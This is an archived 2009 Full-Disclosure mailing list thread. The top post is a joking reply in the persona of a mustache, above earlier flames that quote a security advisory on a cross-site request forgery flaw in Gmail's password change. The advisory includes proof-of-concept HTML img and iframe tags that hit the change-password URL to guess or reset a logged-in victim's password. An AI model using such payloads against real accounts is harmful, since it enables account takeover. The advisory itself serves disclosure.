lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <26eb2b870903041306u781e0a64r700846f2d65f2e42@mail.gmail.com>
Date: Wed, 4 Mar 2009 15:06:59 -0600
From: "Valdis' Mustache" <security.mustache@...il.com>
To: Jason Starks <jstarks440@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Apple Safari ... DoS Vulnerability

Mister Snarks,

I've never been anything but who I purport to be, the humble upper
facial hair quadrant of a loquacious sysadmin. Low of birth, though
noble in aspiration, a student of history and of the many mustaches
who came before myself.

You, young scholar, should be wary, though! Prospective employers do
make regular use of search engines, "googling" potential candidates to
gain insight into possible character flaws!

True, your clean and jerk abilities as archived on the YouTube are
admirable, but acting a fool on security lists is something normally
reserved only for those in academia, who are markedly difficult if not
impossible to unseat from their comfortable chairs, as indisputably
underscored by the e-antics of this mutache's owner, and, of course,
Mssr. Schmehl.

You'll come to regret your lack of anonymity, as your posts will live
on for eternity, much as I've came to regret my unfortunate
association with the unruly beardlike growth connecting to me from the
south, and my unavoidable tenuous connection with those objectionable
and uncouth sideburns.


Your humble servant,
I baffi di Valdis

On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks <jstarks440@...il.com> wrote:
> I know, its insane. It is a new trend, though, just like people registering
> gmail accounts just to flame and troll on FD!
>
> Its like, your credability like, goes like, ok you start like at 0, and then
> like, it goes like to -1, and like, then even lower like.
>
> Absolutely genius.
>
> x0x0x0x0x0x0x0x0x0x
>
> On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee <biz.marqee@...il.com> wrote:
>>
>> This was 2 years well spent... NOT!
>>
>> Seriously what is with all these people popping up releasing advisories
>> that are absolute SHIT? Is it to try and get jobs or what?
>>
>>
>> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories <
>> advisories at isecauditors.com> wrote:
>>
>> > =============================================
>> > INTERNET SECURITY AUDITORS ALERT 2007-003
>> > - Original release date: August 1st, 2007
>> > - Last revised: January 11th, 2009
>> > - Discovered by: Vicente Aguilera Diaz
>> > - Severity: 3/5
>> > =============================================
>> >
>> > I. VULNERABILITY
>> > -------------------------
>> > CSRF vulnerability in GMail service
>> >
>> > II. BACKGROUND
>> > -------------------------
>> > Gmail is Google's free webmail service. It comes with built-in Google
>> > search technology and over 2,600 megabytes of storage (and growing
>> > every day). You can keep all your important messages, files and
>> > pictures forever, use search to quickly and easily find anything
>> > you're looking for, and make sense of it all with a new way of viewing
>> > messages as part of conversations.
>> >
>> > III. DESCRIPTION
>> > -------------------------
>> > Cross-Site Request Forgery, also known as one click attack or session
>> > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
>> > malicious exploit of websites. Although this type of attack has
>> > similarities to cross-site scripting (XSS), cross-site scripting
>> > requires the attacker to inject unauthorized code into a website,
>> > while cross-site request forgery merely transmits unauthorized
>> > commands from a user the website trusts.
>> >
>> > GMail is vulnerable to CSRF attacks in the "Change Password"
>> > functionality. The only token for authenticate the user is a session
>> > cookie, and this cookie is sent automatically by the browser in every
>> > request.
>> >
>> > An attacker can create a page that includes requests to the "Change
>> > password" functionality of GMail and modify the passwords of the users
>> > who, being authenticated, visit the page of the attacker.
>> >
>> > The attack is facilitated since the "Change Password" request can be
>> > realized across the HTTP GET method instead of the POST method that is
>> > realized habitually across the "Change Password" form.
>> >
>> > IV. PROOF OF CONCEPT
>> > -------------------------
>> > 1. An attacker create a web page "csrf-attack.html" that realize many
>> > HTTP GET requests to the "Change Password" functionality.
>> >
>> > For example, a password cracking of 3 attempts (see "OldPasswd"
>> > parameter):
>> > ...
>> > <img
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > <img
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > <img
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > ...
>> >
>> > or with hidden frames:
>> > ...
>> > <iframe
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > <iframe
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > <iframe
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > ...
>> >
>> > The attacker can use deliberately a weak new password (see "Passwd"
>> > and "PasswdAgain" parameters), this way he can know if the analysed
>> > password is correct without need to modify the password of the victim
>> > user.
>> >
>> > Using weak passwords the "Change Password" response is:
>> >  - " The password you gave is incorrect. ", if the analysed password
>> > is not correct.
>> >  - " We're sorry, but you've selected an insecure password. In order
>> > to protect the security of your account, please click "Password
>> > Strength" to get tips on choosing to safer password. ", if the
>> > analysed password is correct and the victim password is not modified.
>> >
>> > If the attacker want to modify the password of the victim user, the
>> > waited response message is: " Your new password has been saved - OK ".
>> >
>> > In any case, the attacker evades the restrictions imposed by the
>> > captcha of the authentication form.
>> >
>> > 2. A user authenticated in GMail visit the "csrf-attack.html" page
>> > controlled by the attacker.
>> >
>> > For example, the attacker sends a mail to the victim (a GMail account)
>> > and provokes that the victim visits his page (social engineering). So,
>> > the attacker insures himself that the victim is authenticated.
>> >
>> > 3. The password cracking is executed transparently to the victim.
>> >
>> > V. BUSINESS IMPACT
>> > -------------------------
>> > - Selective DoS on users of the GMail service (changing user password).
>> > - Possible access to the mail of other GMail users.
>> >
>> > VI. SYSTEMS AFFECTED
>> > -------------------------
>> > Gmail service.
>> >
>> > VII. SOLUTION
>> > -------------------------
>> > No solution provided by vendor.
>> >
>> > VIII. REFERENCES
>> > -------------------------
>> > http://www.gmail.com
>> >
>> > IX. CREDITS
>> > -------------------------
>> > This vulnerability has been discovered and reported by
>> > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
>> >
>> > X. REVISION HISTORY
>> > -------------------------
>> > July      31, 2007: Initial release
>> > August     1, 2007: Fewer corrections.
>> > December  30, 2008: Last details.
>> >
>> > XI. DISCLOSURE TIMELINE
>> > -------------------------
>> > July      30, 2007: Vulnerability acquired by
>> >                    Internet Security Auditors.
>> > August     1, 2007: Initial notification sent to the
>> >                    Google security team.
>> > August     1, 2007: Google security team request additional
>> >                    information.
>> >                    about and start review the vulnerability.
>> > August    13, 2007: Request information about the status.
>> > August    15, 2007: Google security team responds that they are still
>> >                    working on this.
>> > September 19, 2007: Request for the status. No response.
>> > November  26, 2007: Request for the status. No response.
>> > January    2, 2008: Request for the status. No response.
>> > January    4, 2008: Request for the status. No response.
>> > January   11, 2008: Request for the status. No response.
>> > January   15, 2008: Request for the status. Automated response.
>> > January   18, 2008: Google security team informs that don't expect
>> >                    behaviour to change in the short term giving
>> >                    the justification.
>> >                    We deconstruct those arguments as insufficient.
>> >                    No more responses.
>> > December  30, 2008: Request for the status. Confirmation from Google
>> >                    they won't change the consideration about this.
>> > January   11, 2009: Publication to Bugtraq. Rejected twice.
>> >                    No reasons.
>> > March     03, 2009: General publication for disclosure in other lists.
>> >
>> > XII. LEGAL NOTICES
>> > -------------------------
>> > The information contained within this advisory is supplied "as-is"
>> > with no warranties or guarantees of fitness of use or otherwise.
>> > Internet Security Auditors accepts no responsibility for any damage
>> > caused by the use or misuse of this information.
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ